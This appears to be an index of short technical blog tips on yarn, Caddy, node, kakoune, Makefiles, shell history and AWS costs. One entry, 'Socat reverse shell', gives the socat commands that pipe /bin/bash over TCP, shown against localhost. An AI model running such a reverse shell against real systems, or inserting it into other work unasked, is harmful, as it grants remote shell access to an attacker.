Writing shebang for an executable js script with yarn v2+ and PnP
use env -S
Manually handle custom XDG protocol callback for Linux apps needing auth callbacks
get Location header from resp in browser and call app with $app --open-url $url
Running caddy for local HTTPS with self-signed/snake-oil cert
generate cert+key, write a short Caddyfile, run caddy
nodejs JSON pretty print one-liner
node -p 'JSON.stringify(JSON.parse(fs.readFileSync(0)),null,2)'
kakoune paste block or multiple selections
make sure you split the selection into lines before cutting
base64 each line of a file
encoding the whole file as one is easy, but what about each line on its own
Makefile parallelism respects dependency graph
We run a simple Makefile as proof
Socat reverse shell
socat -d -d TCP4-LISTEN:4443,reuseaddr STDOUT
and socat TCP4:localhost:4443 EXEC:/bin/bash,stderr
How to tidy up your shell history by removing long commands
Use the sed command in this post
Comparing AWS Fargate cost to EC2
You pay about 20% more for the luxury of using Fargate